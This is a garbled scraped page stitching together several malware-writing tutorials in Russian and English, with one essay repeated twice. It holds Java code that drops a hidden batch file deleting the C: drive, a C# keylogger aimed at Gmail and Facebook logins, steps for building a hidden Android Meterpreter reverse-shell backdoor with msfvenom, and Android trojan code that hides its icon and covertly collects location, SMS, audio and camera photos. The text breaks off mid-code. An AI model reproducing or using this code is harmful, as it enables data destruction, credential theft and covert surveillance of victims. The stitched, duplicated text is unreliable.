Как написать троянский вирус java

Data Rain

Java attack for windows

Kartik Arora
*The author is not responsible for the use of code or other knowledge in this document. *

Objective

To prove how a virus can be disguised in a simple application made in Java, and how people would
unknowingly download such files which could harm their computers.

Focus

Proving that java can be used for malicious purposes without being detected by the systems anti-
virus.

  • Not being detected as a virus by browsers
  • Creating a virus file on a victims’ computer
  • Running the virus file without the victim noticing
  • Disguising the file so that the victim doesn’t notice
  1. Starting the Command Line through Java
    To open the virus, we would be needing control to the command line. Once we have
    control of the command line, we have access to most of the average users files and
    data.
Runtime run = Runtime.getRuntime();
run.exec(new String[] {"cmd", "/K", "Start"});
The code above is used to start the command line when the jar file is executed. To
delay this process, the thread can be put to sleep using the code :
*Thread.sleep(*Time in seconds*);
  1. Running commands in the command line
    Now that we have access to the command line, we need to be able to run commands
    in it. To achieve this, we will be using the Robot class provided by java.
    What the Robot class does is simulate the hardware of the victims computer. We
    can use this to type in the commands we would like to run.
ControlManager ctr = new ControlManager();
ctr.type("hider.vbs & exit");
This would run the .vbs file created ahead.
“ControlManager” is a class made by me to use the “Robot” class to type in a given
string to the Command Line.
  1. Creating the virus
    We would now create a virus that we would like to execute. It is fairly simple to
    make a virus as a .bat file. To create the virus, we use the PrintStream provided by
    Java, to create this file.
PrintStream bash = new PrintStream(new File("vs.bat"));
bash.println(@echo offnDel C:*.*/y);
The code above would create a file called “vs.bat” file in the directory the victim
has downloaded the original file in, and would delete the victims “C:” drive when
executed.
  1. Hiding the virus while it runs
Every time a .bat file is run, it leaves the command line window open while
executing. This would alert the victim, that there is something wrong. To hide our
virus while it executes, we would have to create a .VBS file.
PrintStream vb = new PrintStream(new File("hider.VBS"));
vb.println("Set WshShell = CreateObject("WScript.Shell" )+
nWshShell.Run chr(34) & "vs.bat" & Chr(34), 0 nSet WshShell = Nothing ");
This code above would create a file called “hider.VBS”, which wen executed would
run the “vs.bat” file without keeping the command line open.

Survey

We gave our subjects a situation, where they are working on a project with a peer and their
peer sends them a file saying it’s related to the project.
We asked them if they would download the file if :
  • It’s name is project.exe, and their browser gives them no warning?
  • It’s name is project.exe, and their browser gives them a warning that it might be
    harmful?
  • It’s name is project.Jar, and their browser gives them no warning?
  • It’s name is project.Jar, and their browser gives them a warning that it might be
    harmful?
  • It’s name is project.doc, and their browser gives them a warning that it might be
    harmful?
  • It’s name is project.doc, and their browser gives them no warning?
  • It’s name is project.bat, and their browser gives them no warning?
  • It’s name is project.bat, and their browser gives them a warning that it might be
    harmful?

Conclusion

As I have just shown, viruses can be created using java. These viruses aren’t limited to .bat files,
and can be used as ransomware, Trojans, or any other sort of file that browsers and anti-viruses
usually block. People now are conscious while downloading files such as .exe files and .bat files,
but people usually feel that .jar files are safe to run on their computers.

As the popularity of Java programs increases, so does the threat of such viruses and the average
user of a computer would not know how to detect or prevent these files from running. The security
risk this possesses is immense and people need to be educated regarding such files.

Bibliography

https://superuser.com/questions/233348/how-do-i-create-a-windows-batch-file-that-does-not-
show-the-command-prompt-when

https://docs.oracle.com/javase/7/docs/api/java/awt/Robot.html

https://stackoverflow.com/questions/4688123/how-to-open-the-command-prompt-and-insert-
commands-using-java

Время на прочтение
6 мин

Количество просмотров 134K

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Начнем.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

1.  [DllImport("user32.dll")]
2.  
3.  public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

1.  while (true)
2.  {
3.  Thread.Sleep(100);
4.  for (Int32 i = 0; i < 255; i++)
5.  {
6.  int state = GetAsyncKeyState(i);
7.  if (state == 1 || state == -32767)
8.  {
9.  Console.WriteLine((Keys)i);
10. 
11. }
12. }
13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

1.  while (true) 
2.  {
3.  IntPtr handle = GetForegroundWindow();
4.  if (GetWindowText(handle, buff, chars) > 0)
5.  {
6.  string line = buff.ToString();
7.  if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8.  {
9.  //проверка клавиатуры 
10. }
11. }
12. Thread.Sleep(100);
13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

1.  //Ищем почтовый адрес
2.  ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.  
4.  
5.  //Ищем пароль
6.  (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

1.  Regex re = new Regex(@"^[w!#$%&amp;'*+-/=?^_`{|}~]+(.[w!#$%&amp;'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2.  Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3.  string email = "Oded.awask@gmail.com";
4.  string pass = "abcde3FG";
5.  Match result = re.Match(email);
6.  Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Привет с вами DarkNode
Вся инфа в ознокомительных целях,автор не несет ответственности за область ее применения!

Сегодня будем учиться делать скрытый троян|бекдор на андроид средствами разработки на Android Studio и используя исходник от Android Meterpreter Payload с дальнейшим закреплением в системе.

Что нам понадобится:

Android Studio и Android SDK офф_сайт(

Ссылка скрыта от гостей

)
Android Meterpreter Payload source code (https://github.com/giovannicolonna/msfvenom-backdoor-android)
Ссылки так же будут в описании видео

Первый этап (Подготовительный):
Качаем SourceCode(исходник) метерпретора под андроид,ставим андроид студию и SDK (Этот момент я расписывать не буду
если у кого то возникнут трудности — стучитесь в личку)
(При установке SDK вы можете скачать пакеты AVD(Аndroid Virtual Device|Аднроид эмуляторов) для тестирования приложения на эмулированом устройстве,но как по мне то эти эмуляторы очень таки медленные и лучше тестировать на своем реальном девайсе или же использовать другой эмулятор (например genymotion или образы андроида для виртуалок) Ссылки на то как настроить студию с генимоушн или физическим девайсом я кину в конце статьи и в описания видео.
Ну я уже все скачал.Показывать процесс установки не буду.Опять же таки если трудности возникнут с установкой( но не должны))) ) -стучите личку.
Запускаем студию,создаем проект,даем ему имя. Выбираем минимальную версию API андроида,я выбрал IceCreamSandwich 4.0 так как

1.png

2.png

это самая распространенная версия Android по статистике разработчиков.
Выбираем приложения без активити (activity) — это означает что при запуске не будет никаких
визуальных окон (activity) и приложения просто запуститься себе и будет висеть в фоне.

3.png

На этом подготовительный этап завершен
Подключить genymotion к Android Studio
Подключить реальный смартфон к Android Studio

Второй этап (Базовые настройки пейлоада)
Открываем наш проект в студии.

4.png

Далее распаковываем скаченный архив с гитхаба с исходниками метерпретера. Находим там папку backdooredapk где лежат наши java файлы и перетаскиваем их в наш проект в андроид студии.

5.png

Далее первым шагом же изменим в файле payload.java ip адрес нашего листенера(нашей атакующей машины,где у нас запущен метаслоит)

6.png

Затем нам будет интересен файл MyIntentService.java,в котором мы сможем опционально задать интервал времени через которое наш бекдор будет конектиться к машине атакуищего.
(long half_an_hour = (3600)/(2); //время в секундах между каждой попыткой открыть новую meterpreter сессию » Я для демонстрации поставлю минуту» )

7.png

Далее нам понадобится AndroidManifest.xml из архива. Возьмем от туда пользовательские разрешение (user.permisions) и все что между тегами <application></application>
После того как мы копипасним пермишенс и апликейшн нам нужно будет опционально изменить(указать) имя активити(<activiyt>android:name) и имя службы(<Service>android:name)

8.png

9.png

Хотя студия сама нам это покажет что не нашла пути которое по дефолту был в тегах активити и сервиса(выделит их красным цветом).
Нужно заменить их (stage.metasploit.com на com.darknode.google_update в моем случае «путь(имя) к вашему проекту»)

10.png

11.png

Но в манифесте (AndroidManifest.xml) из архива есть один небольшой косяк.После копипаста его в наш проект нужно добавить права(permisions),так как там не полный нужный нам список прав.
Для этого возьмем и реверснем апк созданный с помощью msfvenon:
msfvenom -p android/meterpreter/reverse_tcp lhost=айпи lport=порт r > ./meter.apk(хотя айпи и порт можно рандомный,нам нужен только манифест от туда)

12.jpg

13.jpg

Скопируем разрешение с манифеста в наш проект

14.png

15.png

Далее осталось подписать наше приложения.

16.png

17.png

Подписали) Ну что ж давайте протестим.))

18.png

19.jpg

20.jpg

21.jpg

22.jpg

На этом наш этап пока закончим.Продолжения следует в следующей статье(видео)
Всем спасибо.

A piece of Java malware can probably perform most, if not all, of the functionality that a piece of C malware can perform.

However, there are a few features of the Java language that probably make malware authors lean towards the likes of C.

Java Virtual Machine Required

A Java program cannot execute on a computer unless a Java Virtual Machine (JVM) is installed on that computer. Writing your malware in Java automatically limits you from any target not running a JVM.

This is different from C or other languages that may be compiled to a native executable that will run on the target system without any additional software.

This doesn’t entirely discount Java as a programming language of choice for would be malware writers however, especially if they were planning on spreading via one of the many Java runtime environment vulnerabilities

Java Virtual Machine Limitations

This JVM requirement can also make it a lot more difficult for a malicious Java application to hide itself. It is relying upon the user’s installed JVM; all they need to do is remove that and they will stop the malware in it’s tracks.

Cross Platform Compatibility is not that simple

By now you may be thinking «Yes, but isn’t it all worth it, to have your malware magically work on all platforms?»

Whilst Java is indeed cross platform compatible (as long as a JVM is available) this might not necessarily mean what you think it means.

For example, a common feature of malware is the ability for it to start when the operating system starts. Java doesn’t not provide a cross platform startWhenComputerStarts method. So this would still need to be implemented separately for each platform.

A lot of malware will use platform specific bugs or features to hide itself, launch itself on startup and snarf user data. So the author would still have to do this work for each platform!

Also, let us not forget that C code can be compiled to multiple different platforms. Java’s advantage over C is that it can be compiled once and run anywhere but the same C code can still ultimately run on different platforms — just with 1 extra step.

If you think about it, considering that malware is often picked up through signatures, it would make more sense for the author to write individual pieces of malware for each platform. Making detection less likely.

A piece of Java malware can probably perform most, if not all, of the functionality that a piece of C malware can perform.

However, there are a few features of the Java language that probably make malware authors lean towards the likes of C.

Java Virtual Machine Required

A Java program cannot execute on a computer unless a Java Virtual Machine (JVM) is installed on that computer. Writing your malware in Java automatically limits you from any target not running a JVM.

This is different from C or other languages that may be compiled to a native executable that will run on the target system without any additional software.

This doesn’t entirely discount Java as a programming language of choice for would be malware writers however, especially if they were planning on spreading via one of the many Java runtime environment vulnerabilities

Java Virtual Machine Limitations

This JVM requirement can also make it a lot more difficult for a malicious Java application to hide itself. It is relying upon the user’s installed JVM; all they need to do is remove that and they will stop the malware in it’s tracks.

Cross Platform Compatibility is not that simple

By now you may be thinking «Yes, but isn’t it all worth it, to have your malware magically work on all platforms?»

Whilst Java is indeed cross platform compatible (as long as a JVM is available) this might not necessarily mean what you think it means.

For example, a common feature of malware is the ability for it to start when the operating system starts. Java doesn’t not provide a cross platform startWhenComputerStarts method. So this would still need to be implemented separately for each platform.

A lot of malware will use platform specific bugs or features to hide itself, launch itself on startup and snarf user data. So the author would still have to do this work for each platform!

Also, let us not forget that C code can be compiled to multiple different platforms. Java’s advantage over C is that it can be compiled once and run anywhere but the same C code can still ultimately run on different platforms — just with 1 extra step.

If you think about it, considering that malware is often picked up through signatures, it would make more sense for the author to write individual pieces of malware for each platform. Making detection less likely.

Listen to this article

Как написать троян на Андроид?

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<uses-permission android:name=»android.permission.ACCESS_COARSE_LOCATION»/>

<uses-permission android:name=»android.permission.ACCESS_FINE_LOCATION» />

<uses-permission android:name=»android.permission.INTERNET» />

<uses-permission android:name=»android.permission.CAMERA» />

<uses-permission android:name=»android.permission.RECORD_AUDIO» />

<uses-permission android:name=»android.permission.RECEIVE_BOOT_COMPLETED»/>

<uses-permission android:name=»android.permission.READ_PHONE_STATE» />

<uses-permission android:name=»android.permission.PROCESS_OUTGOING_CALLS» />

<uses-permission android:name=»android.permission.READ_CONTACTS» />

<uses-permission android:name=»android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

android:name=»com.example.app.MainActivity»

android:label=»@string/app_name» >

<intent-filter>

<action android:name=»android.intent.action.MAIN» />

<category android:name=»android.intent.category.LAUNCHER» />

</intent-filter>

</activity>

<service

android:name=»com.example.app.MainService»

android:enabled=»true»

android:exported=»false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState)

  • Запускаем сервис

startService(new Intent(this, MainService.class));

  • Отключаем Activtiy

ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

Location getLastLocation(Context context) {

LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

long GPSLocationTime = 0;

if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

long NetLocationTime = 0;

if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

Location loc;

if ( 0 < GPSLocationTime — NetLocationTime ) {

loc = locationGPS;

} else {

loc = locationNet;

}

if (loc != null) {

return loc;

} else {

return null;

}

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

outputStreamWriter.write(loc.getLatitude() + » » + loc.getLongitude);

outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

void dumpSMS(Context context) {

String appsFile = context.getApplicationInfo().dataDir + «/apps»

final PackageManager pm = context.getPackageManager();

List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

try {

PrintWriter pw = Files.writeLines(appsFile);

for (ApplicationInfo packageInfo : packages) {

if (!isSystemPackage(packageInfo))

pw.println(pm.getApplicationLabel(packageInfo) + «: » + packageInfo.packageName);

}

pw.close();

} catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

void dumpSMS(Context context, String file, String box) {

SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

try {

PrintWriter pw = Files.writeLines(file);

if (cursor != null && cursor.moveToFirst()) {

do {

String address = null;

String date = null;

String body = null;

for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

switch (cursor.getColumnName(idx)) {

case «address»:

address = cursor.getString(idx);

break;

case «date»:

date = cursor.getString(idx);

break;

case «body»:

body = cursor.getString(idx);

}

}

if (box.equals(«inbox»)) {

pw.println(«From: » + address);

} else {

pw.println(«To: » + address);

}

String dateString = formatter.format(new Date(Long.valueOf(date)));

pw.println(«Date: » + dateString);

if (body != null) {

pw.println(«Body: » + body.replace(‘n’, ‘ ‘));

} else {

pw.println(«Body: «);

}

pw.println();

} while (cursor.moveToNext());

}

pw.close();

cursor.close();

} catch (Exception e) {}

}

Использовать его следует так:

  • Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

  • Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2018.07.08 06:49:55

Body: [email protected] is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

void recordAudio(String file, final int time) {

MediaRecorder recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

recorder.setOutputFile(file);

try {

recorder.prepare();

} catch (IOException e) {}

recorder.start();

Thread timer = new Thread(new Runnable() {

@Override

public void run() {

try {

Thread.sleep(time * 1000);

} catch (InterruptedException e) {

Log.d(TAG, «timer interrupted»);

} finally {

recorder.stop();

recorder.release();

}

}

});

timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.mp4», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.mp4.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

public class SilentCamera2 {

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;

private Surface previewSurface;

private CaptureRequest.Builder request;

private Handler handler;

private String photosDir;

public SilentCamera2(Context context) {

this.context = context;

}

private final CameraDevice.StateCallback mStateCallback =

new CameraDevice.StateCallback() {

@Override

public void onOpened(CameraDevice cameraDevice) {

device = cameraDevice;

try {

surfaceTexture = new SurfaceTexture(10);

previewSurface = new Surface(surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();

surfaceList.add(previewSurface);

surfaceList.add(imageReader.getSurface());

cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onDisconnected(CameraDevice cameraDevice) {

}

@Override

public void onError(CameraDevice cameraDevice, int error) {

}

};

private CameraCaptureSession.StateCallback mCaptureStateCallback =

new CameraCaptureSession.StateCallback() {

@Override

public void onConfigured(CameraCaptureSession captureSession) {

session = captureSession;

try {

request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

request.addTarget(previewSurface);

request.set(CaptureRequest.CONTROL_AF_TRIGGER,

CameraMetadata.CONTROL_AF_TRIGGER_START);

captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

} catch (Exception e) {

}

}

@Override

public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

};

private CameraCaptureSession.CaptureCallback mCaptureCallback =

new CameraCaptureSession.CaptureCallback() {

@Override

public void onCaptureCompleted(CameraCaptureSession session,

CaptureRequest request,

TotalCaptureResult result) {

}

};

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

new ImageReader.OnImageAvailableListener() {

@Override

public void onImageAvailable(ImageReader reader) {

DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

Date date = new Date();

String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

File file = new File(filename);

Image image = imageReader.acquireLatestImage();

try {

ByteBuffer buffer = image.getPlanes()[0].getBuffer();

byte[] bytes = new byte[buffer.remaining()];

buffer.get(bytes);

OutputStream os = new FileOutputStream(file);

os.write(bytes);

image.close();

os.close();

} catch (Exception e) {

e.getStackTrace();

}

closeCamera();

}

};

private void takePicture() {

request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

request.addTarget(imageReader.getSurface());

try {

session.capture(request.build(), mCaptureCallback, handler);

} catch (CameraAccessException e) {

}

}

private void closeCamera() {

try {

if (null != session) {

session.abortCaptures();

session.close();

session = null;

}

if (null != device) {

device.close();

device = null;

}

if (null != imageReader) {

imageReader.close();

imageReader = null;

}

if (null != surfaceTexture) {

surfaceTexture.release();

}

} catch (Exception e) {

}

}

public boolean takeSilentPhoto(String cam, String dir) {

photosDir = dir;

int facing;

switch (cam) {

case «front»:

facing = CameraCharacteristics.LENS_FACING_FRONT;

break;

case «back»:

facing = CameraCharacteristics.LENS_FACING_BACK;

break;

default:

return false;

}

CameraManager manager = (CameraManager)

context.getSystemService(Context.CAMERA_SERVICE);

String cameraId = null;

characteristics = null;

try {

for (String id : manager.getCameraIdList()) {

characteristics = manager.getCameraCharacteristics(id);

Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

if (currentFacing != null && currentFacing == facing) {

cameraId = id;

break;

}

}

} catch (Exception e) {

return false;

}

HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

handlerThread.start();

handler = new Handler(handlerThread.getLooper());

imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

try {

manager.openCamera(cameraId, mStateCallback, handler);

  • Ждем фокусировку

Thread.sleep(1000);

takePicture();

} catch (Exception e) {

Log.d(TAG, «Can’t open camera: » + e.toString());

